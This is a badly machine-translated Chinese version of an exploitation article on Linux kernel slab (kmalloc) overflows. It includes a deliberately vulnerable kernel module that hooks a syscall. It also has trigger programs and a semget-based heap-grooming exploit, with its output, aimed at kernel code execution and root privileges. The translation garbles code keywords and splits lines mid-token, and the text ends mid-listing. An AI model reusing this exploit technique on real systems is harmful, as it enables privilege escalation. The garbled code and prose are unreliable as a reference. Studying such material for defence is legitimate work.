| 开发的kmalloc（ ）的故事溢出|

- qobaiashi

1.简介

在过去的几个月一些基于内核的内存溢出错误已被发现，其影响与kmalloc的（ ）例程分配的内存区域。如用kmalloc（ ）在内核源，经常使用一个缓冲区溢出最有可能影响该存储器区域。

所有咨询评为这些错误的关键，并提到了“精心打造的攻击”可能由具有内核执行任意代码，导致提升权限。直到今天没有任何的攻击代码已被释放证明这种漏洞的利用。在次，其中缓冲区溢出保护（例如NX位，不可执行堆栈补丁）变得越来越普遍，内核错误是一个很好的方式，攻击者的机器上成为根无车SUID程序。这就是本文的用武之地。在下面我会给上（AB）中使用的内核程序的一些背景信息和演示样本错误的剥削。

2.示例错误

```
/ *

编译：GCCÇmybug.c l / LIB /模块/`UNAME r` /建造/包括insmod的mybug.
o
* /


#定义__KERNEL__
#定义模块

#包含<linux / kernel.h当>
#包含<linux / module.h>中
#包括<ASM / unistd.h>中
#包括<ASM / uaccess.h中>
#包含<linux / slab.h>

MODULE_AUTHOR（“UNF / qobaiashi”）;
MODULE_LICENSE（“GPL”）;

#限定CALL_NR 35

的extern无效* sys_call_table的[]; INT（* old_c
all）（INT，INT）;

/ ***************************** \ | **溢出的板坯
对象                                    ** |
\ ************ /

INT vuln（INT ADDR）
{INT * PTR = NULL; 字符*缓

冲液= NULL;

PTR =（INT *）地址;

缓冲液= kmalloc的（120，GFP_KERNEL）; 如果（缓冲
== NULL）{

   printk的（“[vuln]无法kmalloc的（120）\ n！”）; 返回1
; }


printk的（“[vuln]拿到%p对象\ n”个，的缓冲液）;

如果（调用copy_from_user（缓冲液，PTR，170）== 1）的printk
（“[vuln]调用copy_from_user失败\ n”）; kfree（缓冲液）; }



/ *********** \ | **消耗板坯对象
                                        ** |
\ ********** /

INT消耗（INT一个）{

字符*缓冲液= NULL;

缓冲液= kmalloc的（120，GFP_KERNEL）;

memset的（缓冲液，0×00，的sizeof（缓冲））; 如果
（缓冲== NULL）{

   printk的（“[消耗]无法kmalloc的（120）\ n！”）; 返回1;
}


printk的（，缓冲液“[消耗]在%P \ n得到了对象”）; printk的（“%S”，的
缓冲液）;

如果（一个== 1）{kfree
（缓冲液）;

   printk的（，缓冲液“[消耗]在%P \ n释放OBJ”）; }}



/ *********** \ | **主通话
                                        ** |
\ ********** /

INT new_call（INT一个，INT 2）
{如果（一个== 1
）{vuln（二）; 返
回1; }



如果（一个== 2）
{消耗（0）; 返回2
; }


如果（一个== 3）
{消耗（1）; 返回3
; }返回0; }



INT的init_module（无效）{

printk的（“[*] vuln装\ N！”）; old_call = sys_call_ta
ble的[CALL_NR]; sys_call_table的[CALL_NR] = ne
w_call; 返回0; }


空隙在cleanup_module（无效）{

sys_call_table的[CALL_NR] = old_call; printk的
（“[*] vuln卸载\ n！”）; }
```

正如你所看到的错误已被“落实”为内核模块。我意识到它作为由sys_call_table的更换一个未使用的时隙并将其链接到在模块代码new_call（ ）函数系统调用（呼叫号码35）。这使得舒适触发和装载/代码的卸载。正如你可能已经注意到这段代码是2.4内核。具体为在新版本中的sys_call_table的不再是一个出口sysmbol。因此使其在2.6工作。内核一些修改有像硬编码该地址到模块源作出。我们的新系统调用需要两个参数：第一个“标志”指定哪些行动应做溢出，分配或分配解除分配与和用于溢出的第二个参数是一个指向该数据被复制。正如你所看到的模块分配一个120个字节的缓冲区

缓冲液= kmalloc的（ 120，GFP_KERNEL）；

和拷贝170个字节到它。

调用copy_from_user（缓冲液，PTR，170）

这些值是随机选择的，但正如我稍后会解释它不会为开发过程中发生大的变化。我的测试系统是2.4.20内核，但这个概念也适用于例如2.6.11系统上。

3. slab分配器

类似于公知的用户空间函数malloc（ ），它是由标准库提供的，用kmalloc（ ）用于在内核代码在运行时动态存储器分配的需要。如对实施例的系统调用仅具有的8Kb可用堆栈空间之一（如果不是以其它方式配置），通常试图避免内核栈上分配大的结构和阵列。

边注：
每个进程具有用户模式和内核模式的堆叠（事实上，我认为一个堆栈，每环> 0，
（1，2，3）3） 当切换到内核模式（INT $ 0x80的）％尤指也被切换指向内核
模式堆栈（此开关也影响CS，SS，DS，ES）。

好友系统只允许每页（0×1000字节）的内存分配，这是在大多数情况下太多。于是slab分配器抓住从好友系统削减它们切成小块的页面并管理他们通过的kmalloc（ ）和kfree（ ）接口。记忆中这是经常使用的某些内核例程作为套接字信息，文件系统驱动程序和网络的东西例如缓存所谓缓存哪一组内存区域统一管理的。某些驱动程序等的频繁的存储器分配被引导到保持“结构unix.sock”的实例仅例如，许多合适的存储器部分（目的，smalles可用单元）这样的特殊的高速缓存是缴费。要在所谓的砖提高性能slab分配器组几个对象组合在一起，其中一只是kfree” d对象可以尽快再次给出了到例如系统调用的新实例。所有缓存这使得内核一定的缓存大小调整的时候更容易穿越需要一个双向链表上。

++> ++> ++ | CACHE | | CACHE | | CACHE | | | < | | < | | +++ +++ ++
+ | Vin。| SLAB | SLAB | SLAB | “”

所有活动缓存系统上的名单是的/ proc / slabinfo：

```
qobaiashi @革：~>执行cat / proc / slabinfo
slabinfo版本：1.1（SMP）
的kmem_cache 80 80 244 5 5 1：252个126 fib6_nodes 113 113 32 1 1 1：252 126 ip6_dst_cache 20 20 192 1
 1 1：252 126 ndisc_cache 30 30 128 1 1 1：252 126 hpsb_packet 0 0 100 0 0 1：252 126 ip_fib_hash 113 11
3 32 1 1 1：252 126 clip_arp_cache 0 0 128 0 0 1 252 126 ip_mrt_cache 0 0 96 0 0 1：252 126 tcp_tw_bucket
 30 30 128 1 1 1：252 126 tcp_bind_bucket 113 113 32 1 1 1：252 126 tcp_open_request 40 40 96 1 1 1：252
 126 ip_dst_cache 20 20 192 1 1 1：252 126 arp_cache 30 30 128 1 1 1：252个126 blkdev_requests 1560 156
0 96 39 39 1：252 126 nfs_write_data 0 0 384 0 0 1：124 62 nfs_read_data 0 0 352 0 0 1：124 62 nfs_page 0
 0 96 0 0 1：252 126 ext2_xattr 0 0 44 0 0 1： 252 126 kioctx 0 0 128 0 0 1 252 126 kiocb 0 0 96 0 0 1：252 12
6 eventpoll PWQ 0 0 36 0 0 1：252 126 eventpoll外延0 0 96 0 0 1：252 126 dnotify_cache 338 338 20 2 2 1：
252 126 file_lock_cache 40 40 96 1 1 1：252 126异步轮询表0 0 144 0 0 1 252 126 126 fasync_cache 202 16 1
 1 1：252 126 uid_cache 113 113 32 1 1 1：252 126 skbuff_head_cache 80 80 192 4 4 1：252 126袜子216 21
6 1344 72 72 1：60 30 sigqueue 28 28 136 1 1 1：252 126 kiobuf 0 0 64 0 0 1： 252 126 cdev_cache 531 531
 64 9 9 1：252 126 bdev_cache 59 59 64 1 1 1：252 126 mnt_cache 59 59 64 1 1 1：252 126 inode_cache 20
808 20808 512 2601 2601 1：124 62 dentry_cache 23010 23010 128 767 767 1： 252 126 dquot 0 0 128 0 0 1
 252 126的filp 1110 1110 128 37 37 1：252 126 names_cache 8 8 4096 8 8 1：60 30的buffer_head 32310 323
10 128 1077 1077 1：252 126的mm_struct 48 48 160 2 2 1：252 126的vm_area_struct 1904 2408 68 43 43 1：
252 126 fs_cache 59 59 64 1 1 1：252 126 files_cache 54 54 416 6 6 1： 124 62 signal_act 51 51 1312 17 17
1：60 30 pae_pgd 113 113 32 1 1 1：252 126 size131072（DMA）0 0 131072 0 0 32：0 0 size131072 0 0
131072 0 0 32：0 0 size65536（DMA）0 0 65536 0 0 16：0 0 size65536 20 20 65536 20 20 16：0 0
size32768（DMA）0 0 32768 0 0 8：0 0 size32768 3 3 32768 3 3 8：0 0 size16384（DMA）0 0 16384 0 0
4：0 0 size16384 0 5 16384 0 5 4：0 0 size8192（DMA）0 0 8192 0 0 2：0 0 size8192 5 10 8192 5 10 2：0
0 size4096（ DMA）0 0 4096 0 0 1：60 30 size4096 40 40 4096 40 40 1：60 30 size2048（DMA）0 0 2048
0 0 1：60 30 size2048 20 20 2048 10 10 1：60 30 size1024（DMA）0 0 1024 0 0 1 124 62 size1024 92 92
1024 23 23 1：124 62 size512（DMA）0 0 512 0 0 1：124 62 size512 104 104 512 13 13 1：124 62
size256（DMA）0 0 256 0 0 1 ：252 126 size256 75 75 256 5 5 1：252 126 size128（DMA）0 0 128 0 0 1
252 126 size128 900 900 128 30 30 1：252 126 size64（DMA）0 0 64 0 0 1：252 126 size64 3835 3835 64
65 65 1：252 126 size32（DMA）0 0 32 0 0 1：252 126 904 size32 904 32 8 8 1：252 126252 126
size32（DMA）0 0 32 0 0 1：252 126 904 size32 904 32 8 8 1：252 126252 126 size32（DMA）0 0 32 0 0
1：252 126 904 size32 904 32 8 8 1：252 126
```

引述手册页这意味着，“[F]或每个切片缓存，所述高速缓存的名称，当前活动的对象的数目，可用对象的总数，每个对象的以字节为单位的大小，页数与至少一种活性的数目对象，给出了总人数分配的页面，并且每板的页数。”内核与板坯高速缓存统计信息和/或SMP编译打印出更多的列，但访问联机帮助页进行深入的解释。

在这里，您可以看到内核分配专用高速缓存和通用高速缓存（大小*）适合DMA和普通内存访问。每个高速缓存保存砖三个链表免费，部分免费和一个全砖。另外每个缓存有每个CPU指着砖免费对象，在后进先出的方式进行管理的阵列（只kfree'd对象应尽快将远再次获得），以尽量减少链表和自旋锁操作。

+ + | CACHE |

|| ++ ++ | |> | CPU_0 |> | 哈利W /师生比| | | | CPU_N | | 未使用的OBJ | | 自由|> [SLAB HEAD] ++ | 在板材| | | ++ |局部|> ++> ++> ++> +
| | < | SLAB | < | SLAB | < | SLAB | < | | 全| [SLAB HEAD] | HEAD | | HEAD | | HEAD | | | | ++ ++ ++ +

+ + | | | | | | | | OBJ | | OBJ | | OBJ | | 。。。。。。。。。。。。。

缓存头定义如下：</mm/slab.c>

/ *
 * *的kmem_cache_t

 管理的缓存。 /

结构kmem_cache_s {
/ * 1）percpu数据，每ALLOC期间触摸/免费* /结构array_cac
he *阵列[NR_CPUS]; 无符号整型batchcount; unsigned int的限
制;

/ * 2）由每ALLOC＆免费从后端* /结构kmem_list3列表触摸;

/ * NUMA：kmem_3list_t *的NodeLists [MAX_NUMNODES]
* /
无符号整型objsize;
unsigned int类型的标志; / *常量标志* / unsigned int的NUM; / *每个板坯*
/ unsigned int的free_limit OBJ文件的 #; 中的对象的/ *上限
列表* /
spinlock_t自旋锁;

/ * 3）cache_grow /收缩* / / *顺序每板坯PG
S的（2 ^ N）* / unsigned int的gfporder;

/ *力GFP标记，如GFP_DMA * / unsigned int
类型gfpflags;

为size_t颜色; / *缓存着色范围* / unsigned int的colour_off; / *颜色偏
移量* / unsigned int的colour_next; / *缓存着色* / *的kmem_cache_t slab
p_cache;

无符号整型slab_size; 无符号整型dflags; / *动态标志* /

/ *构造FUNC * /
空隙（*构造函数）（无效*，*的kmem_cache_t，无符号长）;

/ *解构FUNC * /
空隙（*析构函数）（无效*，*的kmem_cache_t，无符号长）;

/ * 4）缓存创建/移除* /为const char *
名称; 结构LIST_HEAD未来;

/ * 5）统计* /
如果STATS
无符号长num_active; 无符号长num_allocatio
ns; 无符号长high_mark; 无符号长生长; 无符号长收
割; unsigned long类型的错误; 无符号长max_freea
ble; 无符号长node_allocs; atomic_t allochit; atomic
_t allocmiss; atomic_t freehit; atomic_t freemiss;

万一
如果DEBUG INT dbghead; 诠释r
eallen;

万一 };

在这里，我也不会迷路解释太多细节。是吸引眼球的只有两个条目是构造函数和析构函数指针，当一个对象被分配到哪个被调用。天色不使用这些变量，因此空指针。在这里，你还可以看到额外的统计可选条目。但是你在错误的方向开始思考之前，我们将不会使用这些函数指针 - 缓存头是有完整的缘故。

让我们在接下来的单位，板头一探究竟。<毫米/ slab.c>

/ *
 结构板

 管理在平板的OBJ文件。在 MEM分配给平板的开始或是被放置，或者从一般的高速缓存分配。*轧板坯链分为三个列表：充分利用，局部的，完全免费*砖。* /

结构板{
    结构LIST_HEAD列表;
    无符号长colouroff; 无效* s_mem; / *包括颜色偏移量* / unsigned int的INUSE; / *活性在板坯* / kmem_bufctl_t免费的OBJ的NUM; }; 结构LIST_HEAD {结构LIST_HEAD *下，*分组; };

typedef结构LIST_HEAD list_t;

每个头位于PAGE_SIZE对齐（以我的经验>好友）在（onslab）板坯的开始。在平板的每个对象都是对齐的，以增加访问spead的sizeof（void *的）。此标头之后跟随在包含为每个对象int值的数组。然而，这些值是当前空闲对象唯一重要的和被用作指标在平板的下一个免费的对象。值称为BUFCTL_END（slab.c：＃定义BUFCTL_END 0xFFFFFFFF的）的标记数组的末尾。“colouroff”描述“抵消slab_t结构到片组区域以最大化缓存对齐。”（slab.c）该颜色区域的大小被计算为total_slab_space -（object_size * OBJECT_COUNT + slab_header）和具有可变大小。板头位于板或“offslab”在一个独立的对象。由于slab_t结构的* s_mem成员，其中板坯头部存储，因为它拥有一个指向板坯对象的开始，它是不重要的。对或offslab的决定是在kmem_cache_create制成：

</mm/slab.c>
8 <
/ *确定是否板坯管理是“接通”或“断开”板坯。* /

如果（大小> =（PAGE_SIZE >> 3））//如果（sizerequested> = 512）

/ *
 *尺寸较大，假定最好将板坯管理OBJ * offslab（应允许更好的OBJ的包装）。* /

标志| = CFLGS_OFF_SLAB; //一个特殊的标志设置

8 <
//如果所请求的对象大小是> = 512个字节。但：

8 </ *

 如果板已被放置offslab，我们有足够的空间，然后将它onslab。这是在任何额外的着色的代价。

* /

如果（标志＆CFLGS_OFF_SLAB && left_over> = slab_size）{标志＆=〜CFLGS_OFF_SLAB; left_over = slab_size; }

8 <

如果头配合入分配板空间有很好的机会它被放置onslab。只有一个标志 - CFLGS_OFF_SLAB - 在指定kmem_cache_t页眉或不进行设置。如果它被设置，那么所有的地砖必须有自己的头部存储“offslab”。

所以在内存的平板应该是这样的：

<0×00 为0xFF>
[SLAB HEADER] [COLOR] [OBJ1] [OJB 2] [OBJ 3] [物镜4] [物镜5] [物镜6] [OBJ 7]

为了完整起见我也提到kfree（），这是一个相当沉闷funtion。它所做的就是给一个对象返回到其高速缓存，并使其成为CPU阵列中可用。

4.开拓发展

现在我们知道内存分配器我们就可以开始用BUG打，并制定利用战略的内部运作。我们的错误可以通过syscall_nr 35被触发，所以我们快速地写出一个触发器，并找出发生了什么。

```
/ * * trigger.c
* * /



#包含<sys / syscall.h>
#包括<unistd.h>中

/ ***************** \ | ** **使用
| \ ***************** /空使用
（字符*路径）{


的printf（“| \ n”）; 的printf（“|用法：%S \ n”
个，路径）; 的printf（“| 1溢出\ n”）; 的print
f（“| 2消耗\ n”）; 的printf（“| 3 +消耗自由\ n
”）; 出口（0）; }




诠释主（INT的argc，字符* argv的[]）{INT ARG
;

炭缓冲液[1024];
memset的（缓冲液，0×41，的sizeof（缓冲））;

如果（的argc <2）
{
   使用量（的argv [0]）; 出
口（1）; }


ARG = strtoul将（argv的[1]，0，0）;

//消费者
系统调用（35，精氨酸，缓冲液）; }
```

在行动中的代码：

```
茧：/家庭/ qobaiashi / kernelsploit＃insmod的./mybug.o茧：/家庭/ q
obaiashi / kernelsploit＃dmesg得到| 尾2 [*] vuln装！

qobaiashi @茧：一> ./trigger 1; dmesg的| 尾N 4 Linux的视
频捕获接口：V1.00为eth0：本没有IPv6路由器[*] vuln装！


[vuln]在cfeb4cc0得到目的
```

所以我们看到，我们的溢出程序被击中，但我们不能看到控制台输出任何反应。让我们看看这里发生了什么。

我们的溢出前板：

<0×00 为0xFF>
[SLAB HEADER] [COLOR] [OBJ1] [OJB 2] [OBJ 3] [物镜4] [物镜5] [物镜6] [OBJ 7]

当程序被调用它kmallocs一个对象，例如物镜4.然后调用copy_from_user写入170个字节到这128字节的大小的对象。虽然代码只要求120个字节，我们被定向到size128高速缓存，从而得到一个128字节的对象。

我们的ovefow后板：

<0×00 为0xFF>
[SLAB HEADER] [COLOR] [OBJ1] [OJB 2] [OBJ 3] [AAAAA] [AAJ 5] [物镜6] [OBJ 7]

我们在平板邻近对象的覆盖部分。现在可以很明显看出溢出不一定会导致明显的后果。对于开发我们不能靠板头，并因为它的任何对象之前，位于其LIST_HEAD条目或类似的东西，我们可以从kmalloc的get（ ）和写作变向高地址！一种选择是等待，如果我们在创建offslab头高速缓存中创建一个offslab。但是，因为我们不能保证，我并不认为这是作为一个选项。因此，一个更实际可行和一般的解决方案是利用溢流，从而另一对象的控制。

因此，我们需要得到正确的落后对方的内存controled覆盖和可靠的开发2个contignuous物体而不引起其他守护进程，甚至驱动程序的崩溃。

qobaiashi @茧：一> ./trigger 3; ./触发器3; ./触发器3; ./触发3; dmesg的| 在cfe71540尾[消耗]得到目的[消耗]在cfe71540释放OBJ [消耗]在cfe71540得到对象[消耗]在cfe71540释放OBJ [消耗]在cfe71540得到对象[消耗]在cfe71540释放OBJ [消耗]在cfe71540得到目的[消耗]在cfe71540释放OBJ [消耗]拿到cfe71540对象[消耗]在cfe71540释放OBJ

我们在这里看到的是CPU的动作LIFO数组：我们的系统调用重复得到相同的对象，并kfrees它。因此，我们需要不kfreeing他们simultanously分配更多的对象。这是触发2选项是什么：

qobaiashi @茧：一> ./trigger 2; ./触发器2; ./触发器2; ./触发器2; dmesg的| 在cfe71540尾[消耗]得到目的[消耗]在cfe71540释放OBJ [消耗]在c8c1b8c0得到对象[消耗]在c29b05c0e得到对象[消耗]在c29b0640得到对象[消耗]在c29b0840得到目的

在这里，我们已经有了在c29b05c0和c29b0640两个合适的对象：

0xc29b0640 - 0xc29b05c0 = 0x80的= 128

因此，有可能拿到两点可重用的对象，但是这还不是可靠的，我们会在现实生活中的情景没有帮助控制台输出。让我们消耗更多的对象，直到缓存耗尽，

扩大（更多的空间被从buddysystem请求和作为板坯可用）：

qobaiashi @茧：一>执行cat / proc / slabinfo | grep的size128 | grep的v DMA

size128 638 750 128 25 25 1

qobaiashi @茧：一> ./trigger 2; ./触发器2; ./触发器2 ;. [...]

qobaiashi @茧：一>的dmesg [...]

[消耗]在c30d4e40得到对象[消耗]在c30d4
dc0得到对象[消耗]在c30d4c40得到对象
[消耗]在c30d4ac0得到对象[消耗]在c30d4
940得到对象[消耗]在c30d4d40得到对象
[消耗]在c30d49c0得到对象[在c30d4cc0消
耗]得到目的[消耗]在c3128640得到对象[消
耗]在c31283c0得到对象[消耗]在c31287c
0得到对象[消耗]在c3128440得到对象[消
耗]在c3128340得到对象[消耗]在c312884
0得到对象[消耗]在c3128dc0得到对象[消
耗]在c31286c0了对象在c31284c0 [消耗]
得到目的[消耗]在c31285c0得到目的
[消耗]在c3128540得到对象[消耗]在c312
89c0得到对象[消耗]在c31288c0得到对象
[消耗]在c3128740得到对象[消耗]在c312
80c0得到对象[消耗]在c3128140得到对象
[消耗]在c31282c0得到对象[在c3128c40消
耗]得到目的[消耗]在c3128cc0得到对象[消
耗]在c3128d40得到对象[消耗]在c312824
0得到对象[消耗]在c31281c0得到对象[消
耗]在c3128ec0得到对象[消耗]在c3128a4
0得到对象[消耗]在c3128ac0得到对象[消
耗]在c3128b40得到对象[消耗]在c3128bc
0得到对象[消耗]在c5917240得到对象[消
耗]在c59171c0得到对象[消耗]在c591714
0得到对象[消耗]在c59170c0得到对象[消
耗]在c59172c0了对象

qobaiashi @茧：一>执行cat / proc / slabinfo | grep的size128 | grep的v DMA

size128 754 780 128 26 26 1

正如我们看到的，似乎有可在高速缓存（c3128a40，c3128ac0，c3128b40，c3128bc0）大小调整权发生之前结束contignuous对象（注意，从c3128 ***到*** c5917和前两个地址变更所述slabinfo输出的数字：第一是使用的对象计数器，第二个是对象在高速缓存中的总数目）。这是因为，然后有LIFO数组中没有更多的随机对象。至少对我expereience已经表明，一个可以得到总有两个可用的对象。当然，在这里我们有一个比赛条件，但另一个内核程序偷走了我们的两个期望对象之一的几率是相当小的，因为这可以在（）循环例如快速实现。

在最后，但是我并不想成为dependend上除了溢出mybug模块的功能，因为我想要的例子是尽可能真实。因此，我们需要在做同样的事情作为触发2内核的功能：在size128高速缓存分配的对象和系统调用返回到用户空间后不kfree它。这里内核源代码的良好的知识就派上用场了，我花了一些时间less'ing和grep'ing我通过源代码的质量，直到我发现在IPC管理程序。IPC提供存储器区域为可由multible进程访问，甚至可以在不使用它的应用程序存在进程间通信。下面的代码中2.4和2.6内核仅稍微不同，在事实上可用于我们的目的在两个系统：</ipc/sem.h>

asmlinkage长sys_semget（的key_t键，诠释nsems，INT semflg）
{INT ID，ERR = EINVAL; 结构se

m_array * SMA;

如果（nsems <0 || nsems> sc_semmsl）返
回EINVAL; 向下（＆sem_ids.sem）;

如果（键== IPC_PRIVATE）{ERR = newary
（键，nsems，semflg）; 8 <

静态INT newary（的key_t键，诠释nsems，INT semflg）
{INT ID; 结构sem_array * SMA; I

NT大小;

```
如果（！nsems）
        返回EINVAL;
如果（used_sems + nsems> sc_semmns）
                //> INT_MAX系统返回ENOSPC信号灯的最大#;

大小=的sizeof（* SMA）+ nsems *的sizeof（结构SEM）; SMA =（结构
sem_array *）ipc_alloc（大小）; 如果（！SMA）{

        返回ENOMEM; }

memset的（SMA，0，大小）;
ID = ipc_addid（＆sem_ids，＆SMA> sem_perm，sc_semmni）; 如果（ID == 1）
{
        ipc_free（SMA，大小）;
返回ENOSPC; }

used_sems + = nsems;

SMA> sem_perm.mode =（semflg＆S_IRWXUGO）; SMA> sem
_perm.key =键;
```

```
SMA> sem_base =（STRUCT SEM *）＆SMA [1]; / * SMA>
sem_pending = NULL; * / SMA> sem_pending_last =＆SMA> se
m_pending; / * SMA>撤消= NULL; * / SMA> sem_nsems = nsem
s; SMA> sem_ctime = CURRENT_TIME; sem_unlock（ID）;

返回sem_buildid（ID，SMA> sem_perm.seq）; } SMA> sem_perm
.mode =（semflg＆S_IRWXUGO）; SMA> sem_perm.key =键;

SMA> sem_base =（STRUCT SEM *）＆SMA [1]; / * SMA>
sem_pending = NULL; * / SMA> sem_pending_last =＆SMA> se
m_pending; / * SMA>撤消= NULL; * / SMA> sem_nsems = nsem
s; SMA> sem_ctime = CURRENT_TIME; sem_unlock（ID）;

返回sem_buildid（ID，SMA> sem_perm.seq）; }
```

使用sys_semget我们现在可以在通用高速缓存分配几乎任意大小的物体。在我们的例子是“了semget（IPC_PRIVATE，9，IPC_CREAT）;”完全消耗了128个字节对象！

现在让我们结合我们所拥有的：我们可以分配两个对象彼此的后面和溢出期望对象的只有一个问题：

如果我们用我们的（pH值）中性semget子例程的Alloc的对象，我们不能溢出从mybug.o我们攻击的功能，第二个，因为它会再次我们的两个朋友后得到的对象。溢出（因为在大多数现实生活中的情况下），驻留在系统调用allocateoverflowrelease，所以我们有一个时间表的问题在这里击败。我们必须创建攻击对象，创建受害人对象，触发这个溢出，并使用攻击对象，最终得到我们的地方。在这里，我们将滥用CPU LIFO阵！一定要牢记kfree'd对象建议立即进行删除再次尽快给出了。因此，我们将我们的分配两个对象semget子，其中第一对象充当攻击程序的占位符。

```
/ *
*
 * trigger2.c * “”
“” “” “” “” * /

#包含<sys / syscall.h>
#包含<sys / types.h中>
#包含<sys / stat.h>
#包含<sys / ipc.h>
#包含<sys / sem.h中>
#包括<fcntl.h>函数
#包括<string.h>的
#包括<unistd.h>中
#包括<stdio.h>中
#包括<stdlib.h>中

/ ************** \ | *原型
* | \ ************** /
```

```
空隙使用情况（字符*路径）; INT get
_file（字符*路径）;
INT制备（INT总，INT活性，INT精氨酸，字符*缓冲液中）;

/ ************** \ | *全局
* | \ ************** /

INT的fd;

/ ************ \ | ** **主
要| \ ************ /

INT主（INT的argc，字符* argv的[]）
{字符* PTR;

INT精氨酸，TMP，活性，总，PLACEHOLD，受害者; 炭缓冲液
[1024 * 4]; //！哟难看=> lseek的
```

```
memset的（缓冲液，0×00，的sizeof（缓冲））；

如果（的argc <2）
{
  使用量（的argv [0]）；出
口（1）；}


ARG = strtoul将（argv的[1]，0，0）；

如果（（get_file（“/ PROC / slabinfo”））== 1）{

  的printf（“无法打开文件... \ n”）；出口（1
）；}


如果（读（FD，缓冲器，的sizeof（缓冲））== 1）{

 的printf（“[！]无法读取slabinfo ..离开\ n！”）；出口（0）；}


PTR =的strstr（缓冲液，“size128（DMA）”）+ 13; PTR =的strst
r（PTR，“size128”）；PTR + = 13;

活性= strtoul将（PTR，0，0）；PTR +
 = 13;
总= strtoul将（PTR，0，0）；

//制备制备（总的，活性，精氨酸，的缓
冲液）；//更新状态接近（FD）；


如果（（TMP = get_file（“/ PROC / slabinfo”））== 1）{

  的printf（“无法打开文件... \ n”）；出口（1
）；}


如果（TMP =读（FD，缓冲器，的sizeof（缓冲））== 1）{

 的printf（“[！]无法读取slabinfo ..离开\ n！”）；出口（0）；}


PTR =的strstr（缓冲液，“size128（DMA）”）+ 13; PTR =的strst
r（PTR，“size128”）；PTR + = 13;

活性= strtoul将（PTR，0，0）；PTR +
 = 13;
总= strtoul将（PTR，0，0）；
//假设我们得到2好对象的printf（“活性%d%总d \ n
”个，活性，总）；关闭（FD）；

memset的（缓冲液，0×41，的sizeof（缓冲））；


//系统调用（35，2，缓冲液）；//系统
调用（35，2，缓冲液）；

//希望得到2个contignuous对象：
PLACEHOLD =了semget（IPC_PRIVATE，9，IPC_CREAT）；受害者=了se
mget（IPC_PRIVATE，9，IPC_CREAT）；

//现在替换攻击占位符：

如果（了semctl（PLACEHOLD，0，IPC_RMID）== 1）printf的
（“无法kfree占位符\ n！”）；系统调用（35，1，的缓冲液）；}


/ ********** \ | **获取文件** | \ **
****************** / INT get_file
（字符*路径）{struct stat中的b
uf;


如果（（FD =开放（路径，O_RDONLY））== 1）{PE
RROR（“开放”）；返回1; }


如果（（FSTAT（FD，＆BUF）<0）
）{PERROR（“FSTAT”）；返回1; }


返回buf.st_size; }


/ ****************** \ | ** **使用
| \ ****************** /空使用
（字符*路径）

{printf的（“| \ n”）；的printf（“|用法：%S \ n
”个，路径）；的printf（“| 1溢出\ n”）；的prin
tf（“| 2消耗\ n”）；的printf（“| 3 +消耗自由\ n
”）；出口（0）；}


/ ****************** \ | ** **准备
| \ ****************** /

INT制备（INT总，INT活性，INT精氨酸，字符*缓冲液）{

INT CNTR，极限=（总活性）4; // 4之前调整大小发生INT checktotal =
总; 字符* PTR = NULL;


的printf（“消耗%d \ n”个，限制）；

如果（极限）
{
  对于（CNTR = 0; CNTR <=极限; CNTR ++）了semget（IPC_PR
IVATE，9，IPC_CREAT）；//系统调用（35，2，缓冲液）；}


}
```

执行上面的代码：

qobaiashi @茧：一>执行cat / proc / slabinfo | grep的size128 | 的grep v DMA size 128 643 780 128 24 26 1 qobaiashi @茧：一> ./trigger2 1耗时133活性777 780总

qobaiashi @茧：一>执行cat / proc / slabinfo | grep的size128 | 的grep v DMA size128 77 8 780 128 26 26 1个qobaiashi @茧：一>猫的/ proc / SYSVIPC / SEM

键semid的烫发nsems UID GID CUID cgid进行otime的ctime 0 0 0 9 500 100 500 100 0 0 1127153344 32769 0 9 500 100 500 100 0 0 1127153344 65538 0 9 500 100 500 100 0 1127153344 [...]

0 4096125 0 9 500 100 500 100 0 1127153344 0 4128894 0 9 500 100 500 100 0 1127153344 0 4161663 0 9 500 100 500 100 0 1127153344 0 4194432 0 9 500 100 500 100 0 1127153344 0 4227201 0 9 500 100 500 100 0 1127153344 0 4259970 0 9 500 100 500 100 0 0 1127153344 0 4292739 9 500 100 500 100 0 0 1127153344 0 4325508 9 500 100 500 100 0 0 1127153344 0 4358277 9 500 100 500 100 0 1127153344

1094795585 1600094073 40501 9 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 qobaiashi @茧：一>

在这里，我们看到所有创建信号量（不使用IPCS，因为它会说谎，因为所需要的访问权限），最后一个被挤满了0x41414141这等于1094795585.所以我们的占位符招按预期工作。现在，我们可以溢出，我们需要一个适合的受害者例程使用了一个128的任何对象bytes对象，这将最终允许执行任意代码。这是我不得不回去grep'ing和less'ing很多内核代码的寻找一些例行程序，分配了一些三分球最有可能在结构和已sepperate分配和使用功能。我们不能用它分配从用户空间结构复制的东西，并使用这些值一次全部，因为这将再次成为一个竞争条件，赢得了常规。我不想赢得比赛，因为这意味着不可靠的剥削。

</include/linu/sem.h>

```
/ *对于每个组在系统中信号灯的一个sem_array数据结构。
* /
结构sem_array {
    结构kern_ipc_perm sem_perm; / *权限..见ipc.h * / time_t的sem_otime; / *最后执行
semop时间* / time_t的sem_ctime; / *最后更改时间* /结构SEM * sem_base; / * ptr转到
在阵列* /结构sem_queue * sem_pending第一旗语; / *挂起的操作是
                                                    * 处理 */
    STRUCT sem_queue ** sem_pending_last; / *最后挂起操作* /结构SEM_UNDO *
撤消; 在此阵列* /无符号长sem_nsems / *撤消请求; / *没有。在数组*的信号量/};

结构SEM {
    诠释semval; / *电流值* / INT sempid; / *上次操作的P
ID * /};
```

</ipc/sem.h>

（稍微重新格式化以适合列）

```
INT semctl_main ( INT semid的， INT semnum， INT CMD， INT
版， 联盟 semun ARG ) {

    结构 sem_array * SMA; [1]    结构 SEM *
CURR;      INT 呃;

    USHORT fast_sem_io [SEMMSL_FAST];
    USHORT * sem_io = fast_sem_io;      INT nsems;

    SMA = sem_lock ( semid的 ) ;      如果 ( SMA
== NULL )          返回 EINVAL;

    nsems = SMA> sem_nsems;

    ERR = EIDRM;
```

```
      如果 （ sem_checkid ( SMA，semid的 ) )                去
out_unlock;                                                                                    /* 也许有些queuedup进程是
                                                                                                        等待这个*/
                                                                                    update_queue ( SMA ) ; ERR = 0 ;              去 out_unlock; }       案件 IPC_STAT : {
      ERR = EACCES;       如果 （ ipcperms ( SMA> sem_perm，( CMD == SETVAL ||          结构 semid64_ds TBUF; memset的 ( & TBUF， 0 ， 的sizeof ( TBUF ) ) ;
                                                                                    kernel_to_ipc64_perm ( SMA> sem_perm，
                  CMD == SETALL ) S_IWUGO : S_IRUGO ) )
            去 out_unlock;

      开关 ( CMD ) {       案件 得到所
有：      {

            USHORT *阵列= arg.array;              INT 一世;                                                    & tbuf.sem_perm ) ;
